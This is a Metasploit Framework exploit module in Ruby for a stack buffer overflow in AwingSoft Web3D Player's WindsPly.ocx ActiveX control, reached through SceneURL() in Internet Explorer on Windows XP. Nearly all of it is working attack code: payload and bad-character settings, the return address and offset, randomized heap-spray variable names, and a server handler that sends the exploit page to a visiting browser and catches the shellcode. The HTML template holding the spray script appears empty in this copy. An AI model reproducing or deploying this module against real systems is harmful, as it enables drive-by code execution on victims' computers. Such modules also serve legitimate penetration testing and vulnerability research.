### ## This file is part of the Metasploit Framework and may be subject to ## redistribution and commercial restrictions. Please see the Metasploit ## Framework web site for more information on licensing and terms of use. ## http://metasploit.com/framework/ ### ## # awingsoft_web3d_bof.rb # # AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework # # Tested successfully on the following platforms: # - Internet Explorer 6, Windows XP SP2 # - Internet Explorer 7, Windows XP SP3 # # WindsPly.ocx versions tested: # - 3.5.0.0 # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AwingSoft Web3D Player SceneURL() Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow within Winds3D Viewer of AwingSoft Awakening 3.0 (WindsPly.ocx v3.5.0.0). This ActiveX is a plugin of AwingSoft Web3D Player. By setting an overly long value to 'SceneURL()', an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'shinnai ', # Original exploit [see References] 'Trancer ' # Metasploit implementation ], 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '60017' ], [ 'URL', 'http://www.milw0rm.com/exploits/9116' ], [ 'URL', 'http://www.shinnai.net/xplits/TXT_nsGUdeley3EHfKEV690p.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8704 } ] ], 'DisclosureDate' => 'Jul 10 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('V')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # Randomize the javascript variable names winds3d = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_buf = rand_text_alpha(offset) html = %Q|

| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end